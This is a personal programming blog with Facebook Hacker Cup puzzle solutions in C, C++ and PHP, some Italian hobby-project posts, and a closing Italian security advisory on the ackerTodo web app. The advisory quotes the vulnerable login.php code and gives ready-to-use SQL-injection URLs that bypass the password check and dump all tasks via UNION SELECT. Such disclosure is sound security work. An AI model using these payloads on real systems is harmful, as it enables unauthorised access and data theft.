For two integers a and c, we define a and a third integer b to be almost factors of c by choosing the minimal b that minimizes |abc|. Your task will be to determine b given a and c.

Input

Your input file will consist of a single integer N, the number of test cases in the file, followed by N pairs of integers a and c. All tokens in the input will be separated by some whitespace.

Output

Your output should consist of N newline-separated integers, each one representing b for the corresponding pair (ac) in the input.

Constraints

5  N – 20
a, – c 1010

Sample input:

5
18 24
77 176
34 144
24 426
273 628

Sample output:

1
2
4
18
2

Code (C++):

//============================================================================
// Name        : almost.cpp
// Author      : Francesco Laurita
// Version     : 1.0
// Copyright   : Francesco Laurita
// Description :
//============================================================================

#include <algorithm>
#include <iostream>
using namespace std;

int main() {
  int ntest, a, c, b;
  cin >> ntest;
  while (ntest--) {
    cin >> a;
    cin >> c;
    b = c / a;
    if (abs((b + 1) * a - c) < abs(b * a - c)) {
      b++;
    }
    cout << b << endl;
  }
  return 0;
}

A double-square number is an integer X which can be expressed as the sum of two perfect squares. For example, 10 is a double-square because 10 = 32+ 12. Your task in this problem is, given X, determine the number of ways in which it can be written as the sum of two squares. For example, 10 can only be written as 32 + 12 (we don’t count 12 + 32 as being different). On the other hand, 25 can be written as 52 + 02 or as 42 + 32.

Input

You should first read an integer N, the number of test cases. The next N lines will contain N values of X.

Constraints

0 ≤ X ≤ 2147483647
1 ≤ N ≤ 100

Output

For each value of X, you should output the number of ways to write X as the sum of two squares.

Sample input:

5
10
25
3
0
1

Sample output:

1
2
0
1
1

Code (C++):

//============================================================================
// Name        : doublesquare.cpp
// Author      : Francesco Laurita
// Version     : 1.0
// Copyright   : Francesco Laurita
// Description :
//============================================================================

#include <iostream>
#include <fstream>
#include <math.h>
using namespace std;

bool check(const int a, const int b, const int c) {
	return pow(a,2) + pow(b,2) == c;
}
int main(int argc, char **argv) {

	ifstream fp(argv[1]);
	if (!fp){
		cerr << "Unable to open file!\n";
		return 1;
	}

	int ntest;
	fp >> ntest;
	fp.ignore();
	int a, b;
	for (int i = 0; i < ntest; i++) {
		int current, found;
		fp >> current;
		b = sqrt(current);
		a = sqrt(current - (pow(b,2)));
		found = 0;
		while (a <= b && b >= 0) {
			if (check(a, b, current)) {
				found++;
			}
			b--;
			a = sqrt(current - (pow(b,2)));
		}
		cout << found << endl;
	}
	fp.close();
	return 0;
}

At the first look it seems just a simple sort problem, but it isn’t! It involves sorting operations on all strings permutation.

Since the bound of 9 words is really low I just apply the sort operation on all of permutations (9!)

You’ve been given a list of words to study and memorize. Being a diligent student of language and the arts, you’ve decided to not study them at all and instead make up pointless games based on them. One game you’ve come up with is to see how you can concatenate the words to generate the lexicographically lowest possible string.

Input

As input for playing this game you will receive a text file containing an integer N, the number of word sets you need to play your game against. This will be followed by N word sets, each starting with an integer M, the number of words in the set, followed by M words. All tokens in the input will be separated by some whitespace and, aside from N and M, will consist entirely of lowercase letters.

Output

Your submission should contain the lexicographically shortest strings for each corresponding word set, one per line and in order.

Constraints

1 <= N <= 100
1 <= M <= 9
1 <= all word lengths <= 10

Sample input:

5
6 facebook hacker cup for studious students
5 k duz q rc lvraw
5 mybea zdr yubx xe dyroiy
5 jibw ji jp bw jibw
5 uiuy hopji li j dcyi

Sample output:

cupfacebookforhackerstudentsstudious
duzklvrawqrc
dyroiymybeaxeyubxzdr
bwjibwjibwjijp
dcyihopjijliuiuy

The code (C++):

//============================================================================
// Name        : studious-student.cpp
// Author      : Francesco Laurita
// Version     : 1.0
// Copyright   : Francesco Laurita
// Description : Studious Student solution (FB hacke cup qualification round)
//============================================================================

#include <iostream>
#include <string>
#include <fstream>
#include <sstream>
#include <algorithm>
using namespace std;

bool compare(const string a, const string b) {
	string aa = a;
	string bb = b;
	if (aa + bb < bb + aa) {
		return true;
	}
	return false;
}
int main(int argc, char **argv) {
	ifstream fp(argv[1]);
	string *current = NULL;
	int nlines;

	if (!fp) {
		cerr << "Unble to open file!" << endl;
		return 1;
	}

	fp >> nlines;
	fp.ignore();

	for (int i = 0; i < nlines; i++) {

		string result;
		int nword;
		string line, token;
		getline(fp, line);

		stringstream ss(line);
		ss >> nword;
		current = new string[nword];
		for (int j = 0; j < nword; j++) {
			ss >> token;
			current[j] = token;
		}
		std::sort(current, current + nword, compare);

		for (int j = 0; j < nword; j++) {
			result.append(current[j]);
		}
		cout << result << endl;

	}

	fp.close();
	delete[] current;
	return 0;
}

Problem: Characters

You’re interested in figuring out the number of case-insensitive unique characters in some string. This sounds simple and easily-automated, so you just decide to just go for it.

Input

Your input will consist of an integer N followed by a newline. N test cases will follow, all separated by newlines. Each test case is a string of letters containing some combination of letters (upper- and lower-case are allowed), the space character, and the characters contained in the string ?!.’$%&*:;,.

Output

Your output should consist of one integer per case, separated by whitespace, indicating the number of case-insensitive unique characters contained in the input string.

Constraints

5 ≤ N ≤ 25
Input strings will not exceed 100 characters in length.

Sample input:

5
Lorem ipsum
Eclipse is a pretty nice editor.
This is not a very interesting case.
The quick brown fox jumps over the lazy dog
Bonk.

Sample output:

10
15
15
27
5

The code (C):

/*
 ============================================================================
 Name        : characters-c.c
 Author      : Francesco Laurita
 Version     : 1.0
 Copyright   : Francesco Laurita
 Description :
 ============================================================================
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#define CACHE_SIZE 50
char cache[CACHE_SIZE] = { '\0' };

void add(char c) {
	char *chr = strchr(cache, c);
	//if char is not present into the current cache, it will be appended
	if (chr == NULL)
		cache[strlen(cache)] = c;
}
int main(int argc, char **argv) {

	FILE *fp = fopen(argv[1], "r");
	if (!fp) {
		fprintf(stderr, "Unable to open file\n");
		return EXIT_FAILURE;
	}
	char current;
	//Skip the first line
	while((current = fgetc(fp)) != '\n'){;}

	//Read the whole file char by char
	while (1) {

		current = fgetc(fp);

		if (current != '\n' && current != EOF) {
			add(tolower(current));
		} else {//EOL or EOF
			printf("%d\n", (int) strlen(cache));
			bzero(cache, CACHE_SIZE);
		}

		if (current == EOF)
			break;
	}

	fclose(fp);
	return EXIT_SUCCESS;
}

PHP Version:

#!/usr/bin/php
<?php
$data = file($argv[1]);
if (!$data) exit(1);
array_shift($data);
foreach ($data as $row){
    $row = strtolower(trim($row));
    echo count(array_unique(str_split($row))) . "\n";
}
?>

I’ve lost the competition!

The first round was so buggy that I was not able to submit anything! BTW, just for fun I have solved some problems of  “Facebook Hacker Cup Test Round“.

Problem: Reverser

You’ve intercepted a series of transmissions encrypted using an interesting and stupid method, which you have managed to decipher. The messages contain only spaces and lowercase English characters, and are encrypted as follows: for all words in a sentence, the ith word (1-based) word is replaced with the word generated by applying the following recursive operation f(word, i):

If the length of word is less than or equal to i,
return word.
Otherwise, return f(right half of word, i) + f(left half of word, i).

If word is of odd length, it is split such that the right side is longer. You’ve decided to have a little fun with whoever is sending the messages, and to broadcast your own messages encrypted in the same style that they are using.
Input
Your input will begin with an integer N, followed by a newline and then N test cases. Each case consists of an unencrypted sentence containing only spaces and lowercase letters, and cases are newline-separated. There will be no leading or trailing spaces in a sentence and there will be at most 1 space character between any otherwise-adjacent characters
Output
Output, for each case and separated by newlines, the contents of the encrypted sentence after applying the encoding method describe above to it. You may ignore traditional capitalization rules and stick to all lowercase letters.
Constraints
5 ≤ N ≤ 25
Sentences will contain no more than 100 characters.
Sample input:
5
this is a short sentence
this encryption is lame
racecar
test problems are pretty easy to solve
q we rty uiop
Sample Output:
siht is a ortsh encesent
siht oniptrycen is lame
racecar
tset msleobpr are ttypre easy to solve
q we rty uiop

The code (C++):

//============================================================================
// Name        : reverse-cpp.cpp
// Author      : Francesco Laurita
// Version     : 1.0
// Copyright   : Francesco Laurita
// Description :
//============================================================================

#include <iostream>
#include <string>
#include <fstream>
#include <sstream>
#include <math.h>
#include <vector>
using namespace std;

string apply(string in, int pos){
	int slen = in.length();
	if (slen <= pos){
		return in;
	}else{
		int mid = ceil(slen / 2);
		string right = in.substr(mid,slen);
		string left  = in.substr(0,mid);
		return apply(right,pos) + apply(left,pos);
	}
}
int main(int argc, char **argv) {

	ifstream fp(argv[1]);
	if (!fp){
		cerr << "Unble to open file!" << endl;
		return 1;
	}
	int nlines;
	fp >> nlines;
	fp.ignore();
	for (int i = 0; i < nlines; i++){
		string line,tok;
		getline(fp,line);
		stringstream ss(line);
		vector<string> tokens;
		int j = 1;
		while (ss >> tok){
			tokens.push_back(apply(tok,j));
			j++;
		}
		for (vector<string>::iterator it = tokens.begin(); it != tokens.end(); ++it){
			cout << *it;
			if (it != tokens.end()-1)
				cout << " ";
		}
		tokens.empty();
		cout << endl;
	}
	fp.close();
	return 0;
}

Code is also available on pastebin: http://pastebin.com/nW2KBiyZ

Su Linux esiste il programma “fortune” che, proprio come farebbe un “biscottino della fortuna”, mostra frasi, detti, leggi e magari qualche insulto sul tuo terminale.

“Fortune” si fa piccolo piccolo e arriva sul tuo cellulare :)

Screenshot mobile

Continua…

Piccolo, utile/inutile programmino che vi terrà compagnia mostrandovi le ultime 20 immagini postate su LJ e provenienti da bloggers di tutto il mondo.

Potete vederlo in azione, nella sua veste di POC (Proof Of Concept) aka “la pagina è scarna, ma per funzionare funziona”.

Ci sono due versioni disponibili, la versione originale Java e il porting per PHP5

ATTENZIONE! Le immagini sono random, prese liberamente dai feed xml di LJ, senza nessun tipo di censura

English Version:

Stupid, useful/unuseful program that keep company to you showing last 20 pics uploaded on LJ coming from all world’s boggers.

You can see it in action, in POC-style (Proof of Concept) aka “yes, page is simple but it works!”.

The are two versions available: The original written in Java and the porting made for PHP5

WARNING! Pics are taken random from LJ xml-feed, without censorship. viewer discretion is advised

Wow!

SecurityFocus ha pubblicato il mio security advisory

L’ultima versione del bellissimo programma ackerTodo è affetto da una vulnerabilità che permette a chiunque di visualizzare i tasks presenti nel database.

Preface:

ackerTodo is a light-weight web based todo list manager written by Rob Hensley that supports multiple users, groups, categories, super categories, recurring tasks (Daily, Weekly, Monthly, Yearly, Open-Ended), modules, a CLI interface, email notification, file upload capabilites, and many more features. It is also available in 16 different languages.

Il problema era localizato nel file gadget/login.php alle righe:

$user_login = trim($_REQUEST['up_login']);
$user_pass = trim($_REQUEST['up_pass']);
$num_tasks = trim($_REQUEST['up_num_tasks']);

Utilizzate poi più sotto:

$result = db_query("SELECT * FROM ".$table_prefix."users "
."WHERE login='$user_login' "
."AND password=md5('$user_pass')");

E ancora più sotto:

$sql = $sql . ' LIMIT ' . $num_tasks;

Se il webserver esegue php con il parametro magic_quotes_gpc disabilitato, possiamo eseguire ben due diverse SQL-Injection.

La prima per loggarci nel sistema senza conoscere la password, e la seconda per ricevere la lista completa di tutti i tasks registrati nel database.

Supponiamo che la nostra username sia ‘admin’ e la nostra pass wrongpass’.

La query eseguita sarà la seguente:

SELECT * FROM users WHERE login='admin' AND password=md5('wrongpass')

Dopo l’esecuzione della query il programma esegue il seguente controllo:

if(!$result || mysql_num_rows($result) != 1) {
echo "Login Failure!";
exit;
}

Per poter quindi validare il controllo abbiamo bisogno che la query sia valida e che le riga ritornata dal database sia solo una.

Se la nostra query precedente diventasse:

SELECT * FROM users WHERE login='admin'
AND password=md5('wrongpass') OR ( '1' = '1' AND login='admin')

Riusciremmo ad ottenere esattamente quello che vogliamo, una riga sola, anche se la password inserita risultasse errata.

Questo può accadere perchè non esite nessun tipo di controllo sulla variabile $_REQUEST[‘up_pass’] e, a piacimento potrebbe diventare proprio

wrongpass') or ('1'='1' AND login='admin

Riassumendo, il primo exploit può essere eseguito semplicemnte puntando il proprio browser verso l’host “vittima” http://host.com/gadget/login.php?up_login=admin&
up_pass=wrongpass’)%20or%20(%20’1’%20=
%20’1’%20AND%20login=’admin&up_num_tasks=100

La seconda SQL-Injection farà in modo di estrarre tutti i tasks presenti nel database sfruttando la possibilità di alterare la variabile $_REQUEST[‘up_num_tasks’]

La query che si occupa di estrarre tutti i relativi task dell’utente che si è appena loggato è questa:

SELECT * FROM tasks WHERE login='admin' LIMIT 100

La variabile $_REQUEST[‘up_num_tasks’] determina quante righe vadano estratte.

Se la variabile venisse modificata in ‘100 UNION SELECT * FROM tasks’ otterremmo la query finale:

SELECT * FROM tasks WHERE login='admin' LIMIT 100 UNION SELECT * FROM tasks

Ricevendo tutti i task presenti nel dabase (in questo caso solo 100, se ne volessimo di più basterebbe incrementare il LIMIT)

Per eseguire i due exploit basterà utilizzare il seguente url:

http://host.com/gadget/login.php?up_login=admin&
up_pass=wrongpass’)%20or%20(%20’1’%20=%20’1’%20AND
%20login=’admin&up_num_tasks=100%20UNION%20select%20*
%20FROM%20tasks

L’autore è stato informato della vulnerabilità a ha aggiunto una patch di sicurezza per la prossima release.
La vulnerabilità è diventata pubblica oggi e chi fosse iscritto alla ML di securityfocus avrà visto passare la mia mail

© 2013 Francesco Laurita' s blog Suffusion theme by Sayontan Sinha